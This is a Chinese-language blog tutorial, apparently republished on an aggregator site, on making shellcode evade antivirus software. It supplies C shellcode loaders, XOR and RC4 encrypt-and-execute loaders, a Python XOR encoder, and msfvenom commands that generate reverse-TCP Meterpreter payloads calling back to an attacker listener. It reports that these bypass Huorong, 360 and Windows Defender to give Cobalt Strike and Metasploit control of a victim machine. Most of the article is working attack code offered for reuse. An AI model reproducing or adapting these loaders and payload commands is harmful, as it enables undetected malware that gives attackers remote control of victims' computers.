免杀对抗-ShellCode上线+回调编译执行+混淆变异算法

这篇具有很好参考价值的文章主要介绍了免杀对抗-ShellCode上线+回调编译执行+混淆变异算法。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

C/C++ --ShellCode-免杀对抗

介绍:

         shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。

为什么要使用shellcode

       因为shellcode的免杀手段多,损坏的可能性小,能自定义更多选择。

环境:

攻击机:kali--->cs服务端和msfwin11--->cs客户端

受害机:win10--->虚拟机

调用shellcode的五种原生态方式:

文件名:原生态.c

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")   //windows控制台程序不出黑窗口
unsigned char buf[] = 你的shellcode

int main()
{
     //方式一:指针执行
     //((void(*)(void)) & buf)();
	
     //方式二:强制类型转换
     //((void(WINAPI*)(void))&buf)();
	
     //方式三:申请动态内存加载
     char* Memory;
     Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     memcpy(Memory, buf, sizeof(buf));
     ((void(*)())Memory)();

    //方式四:嵌入汇编加载
    //__asm {
    //lea eax,buf
    //call eax
    //}
	
    //方式五:汇编花指令
    //__asm{
    //mov eax, offset shellcode
    //_emit 0xFF
    //_emit 0xE0
    //}
}
 

一、保证cs/msf生成的shellcode能正常上线

测试:cs上线

1.kali启动服务端cs

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

2.windows启动客户端cs连接

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

3.创建监听器Listeners

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

4.生成shellcode脚本

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

5.打开Visual Studio工具,将生成的shellcode放到加载脚本中(使用的调用执行方式是:申请动态内存加载),利用C/C++语言编译成exe执行文件。注意:编译时要注意位数(x86/x64)shellcode是什么位数就要编译成什么位数。

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

6.上传exe脚本到win10虚拟机,虚拟机运行脚本,cs成功上线。

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

测试:msf上线

1.kali执行命令,生成shellcode

命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

2.将shellcode放到执行脚本中(使用的调用执行方式是:申请动态内存加载),利用C/C++语言编译成exe执行文件。

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

3.启动msf,配置运行监听。

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

4.上传exe脚本到win10虚拟机,虚拟机运行脚本,msf成功上线。说明环境已经没有问题,开始免杀测试。

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

免杀对抗-绕过火绒安全软件

环境:win10-安装火绒安全软件

绕过:通过Callback_Shellcode_Injection项目绕过。

介绍:是一款通过回调执行shellcodepoc。因为之前使用的调用shellcode的脚本都是原生态的,都已经被杀毒软件记录了(被杀的不要不要的)。所以可以尝试项目中新的调用shellcode脚本的方式。

下载:https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection

开始演示

1.打开项目,使用项目中的各种shellcode执行脚本来绕过火绒安全软件的检测

打开Visual Studio工具,创建一个.cpp文件。将项目中的执行脚本复制到.cpp文件中(否则没有生成exe程序的按钮)

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

2.将执行脚本中的shellcode替换为cs/msf生成的shellcode,然后编译成exe程序。

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

3.上传到win10,还是被火绒检测出来了。

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

4.再次尝试其他脚本,直到尝试EnumThreadWindows.cpp调用方式时成功绕过火绒检测。

调用方式:

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

成功绕过,执行脚本成功上线。此方法还可以使用在其他杀毒软件上(如:360杀毒)

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

演示:ShellCode变异-编码混淆加密算法

shellcode变异方式:Xor Aes Hex Rc4 Rsa等

xor异或加密

步骤:生成shellcode——shellcode加密——将加密的shellcode放到和加密规则配套的shellcode执行脚本中——Visual Studio工具编译

1.cs生成64shellcode,命名为payload.bin

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

2.payload.bin放到和xor.py同一目录,运行自写的xor异或加密脚本,将cs生成的shellcode进行xor异或加密的。

在根目录生成名为payload.c经过加密的shellcode

Xor.py:

import sys
from argparse import ArgumentParser, FileType

def process_bin(num, src_fp, dst_fp, dst_raw):
    shellcode = ''
    shellcode_size = 0
    shellcode_raw = b''
    try:
        while True:
            code = src_fp.read(1)
            if not code:
                break

            base10 = ord(code) ^ num
            base10_str = chr(base10)
            shellcode_raw += base10_str.encode()
            code_hex = hex(base10)
            code_hex = code_hex.replace('0x','')
            if(len(code_hex) == 1):
                code_hex = '0' + code_hex
            shellcode += '\\x' + code_hex
            shellcode_size += 1
        src_fp.close()
        dst_raw.write(shellcode_raw)
        dst_raw.close()
        dst_fp.write(shellcode)
        dst_fp.close()
        return shellcode_size
    except Exception as e:
        sys.stderr.writelines(str(e))

def main():
    parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: 471656814@qq.com')
    parser.add_argument('-v','--version',nargs='?')
    parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
    parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
    parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
    parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
    args = parser.parse_args()
    shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
    sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))

if __name__ == "__main__":
    main()
 

命令:python xor.py -s payload.bin -d payload.c -n 10 -r out.bin

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

3.将新的shellcode放到自写的执行脚本xor.cpp中,使用Visual Studio工具编译.

Xor.cpp:

#include <Windows.h>

// 入口函数
int wmain(int argc, TCHAR* argv[]) {

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
/* length: 800 bytes */

    unsigned char buf[] = "shellcode";

    // 获取shellcode大小
    shellcode_size = sizeof(buf);

    /* 增加异或代码 */
    for (int i = 0; i < shellcode_size; i++) {
        buf[i] ^= 10;
    }
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */

    char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );
    // 将shellcode复制到可执行的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
    );

    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return 0;
}

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

4.编译成功,将执行脚本上传到win10,成功绕过火绒检测。

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

运行脚本,cs成功上线

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

也可以在网上找一个shellcode加密项目尝试绕过。

RC4加密

Rc4.cpp代码:

#include <stdio.h>
#include <windows.h>
#include <iostream>
using namespace std;
unsigned char T[256] = { 0 };

int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
	int i = 0, j = 0;
	
	unsigned char t[256] = { 0 };
	unsigned char tmp = 0;
	for (i = 0; i < 256; i++) {
		s[i] = i;
		t[i] = key[i % Len];
	}
	for (i = 0; i < 256; i++) {
		j = (j + s[i] + t[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}
	
	for (int i = 0; i < 256; i++)
	{
		T[i] = s[i];
		cout << "0x" << hex << (int)T[i] << ',';
	}
	cout << endl;
	return 0;
}

int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len)
{
	int i = 0, j = 0, t = 0;
	unsigned char tmp;
	for (int k = 0; k < Len; k++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		t = (s[i] + s[j]) % 256;
		buf[k] ^= s[t];
	}
	return 0;
}
unsigned int main()
{
	char key[] = "reverse";
	unsigned char buf[] =
		"shellcode";

	unsigned char s[256];
	rc4_init(s, (unsigned char*)key, strlen(key));
	for (size_t i = 0; i < sizeof(buf); i++)
	{
		rc4_crypt(s, &buf[i], sizeof(buf[i]));
		printf("\\x%02x", buf[i]);
	}
	LPVOID add =
	VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	RtlCopyMemory(add, buf, sizeof(buf));
	HANDLE handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, 0, 0, 0);
	WaitForSingleObject(handle, INFINITE);
	return 0;
}

1.安装msf,执行命令生成shellcode

命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

2.打开Visual Studio工具,创建一个.cpp文件。将rc4.cpp中的执行脚本复制到.cpp文件中(否则没有生成exe程序的按钮)

rc4.cpp中的shellcode替换为msf生成的shellcode,点击——本地Windows调试器 来加密shellcode

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

3.调试成功,生成了加密的shellcode

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

4.在将rc4.cpp中的shellcode替换为加密后的shellcode,点击生成,编译为exe执行程序

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

5.上传程序到目标系统,成功绕过火绒。执行程序,msf成功上线。

想要去除程序执行弹窗:删除代码 printf("\\x%02x", buf[i]); 即可

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法,免杀对抗,网络安全

6.此方法还可以绕过windows自带的杀毒程序:Windows Defender文章来源地址https://www.toymoban.com/news/detail-705910.html

到了这里,关于免杀对抗-ShellCode上线+回调编译执行+混淆变异算法的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 免杀入门---shellcode免杀

            本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。         免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。         市面上的杀毒软件基本由扫描器、病毒特征

    2024年02月02日
    浏览(68)
  • Python-shellcode免杀分离

    MSF-payload:msfvenom -p windows/meterpreter/reverse_tcp lhost=X.X.X.X lport=6688 -f c CS-payload: 攻击--生成后门--payload生成器--选择监听器和输出格式为C语言 python 3.10-32位,注意python解释器一定要切换为32位 将shellcode填入,run即可上线,payload均为32位 #Python-混淆加密-Base64AES反序列化等 pyt

    2024年02月07日
    浏览(51)
  • ShellCode_Loader - Msf&CobaltStrike免杀ShellCode加载器&加密工具

    ShellCode_Loader - MsfCobaltStrike免杀ShellCode加载器、Shellcode_encryption - 免杀Shellcode加密生成工具,目前测试免杀360火绒电脑管家Windows Defender(其他杀软未测试)。 该项目仅供网络安全研究使用,禁止使用该项目进行违法操作,否则自行承担后果,请各位遵守《中华人民共和国网络

    2024年02月04日
    浏览(53)
  • Shellcode免杀技术的探索与应对策略

    最近在学免杀的  顺道了解一些知识   文章目录 前言 一、Shellcode免杀技术的原理 二、常见的Shellcode免杀策略 三、应对策略 总结 随着网络安全威胁的不断增加,攻击者也在不断寻找新的方法绕过安全防护措施,其中之一就是通过免杀技术来隐藏和执行恶意代码。而shellco

    2024年02月13日
    浏览(51)
  • Webshell混淆免杀的一些思路

    为了避免被杀软检测到,黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路,帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静

    2024年02月05日
    浏览(39)
  • CS免杀上线方式

    🍊博客主页:Scorpio_m7 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 🌟本文由 Scorpio_m7原创,CSDN首发! 📆首发时间:🌹2022年1月28日🌹 ✉️坚持和努力一定能换来诗与远方! 🙏作者水平很有限,如果发现错误,请留言轰炸哦!万分感谢感谢感谢! wmic是一款Microsoft工具,它提供

    2024年02月07日
    浏览(34)
  • WAF攻防-权限控制&代码免杀&异或运算&变量覆盖&混淆加密&传参

    webshell检测平台 https://scanner.baidu.com/#/pages/intro https://ti.aliyun.com/#/webshell 对比工具代码-菜刀蚁剑冰蝎哥斯拉等 对比WAF规则-函数匹配工具指纹等 1.php 传参带入 ?a=ass x=cGhwaW5mbygpOw== 2.php 变量覆盖 x=cGhwaW5mbygpOw== 3.php 加密变异 http://www.phpjm.net/ 4.php 异或运算 5.php 脚本生成器 Webshel

    2023年04月11日
    浏览(46)
  • 第116天:免杀对抗-EDR&Syscall-hook&DLL反射注入&白加黑&隐写分离&加载器

    知识点 演示案例: 总结

    2024年02月16日
    浏览(44)
  • .NET安全对抗 | 利用de4dot解密被混淆的.NET代码

    由dotNet安全矩阵星球圈友们组成的微信群里大家伙常常聊着.NET话题,这不今天有个群友下午1:06分抛出反编译后还是混淆的代码,那么肯定需要加密后获取正常的.NET代码,笔者1:35看到后快速响应私聊了这位师傅,拿到需要解密的DLL,大约45分钟后2:20左右解密成功,此文主

    2024年01月16日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包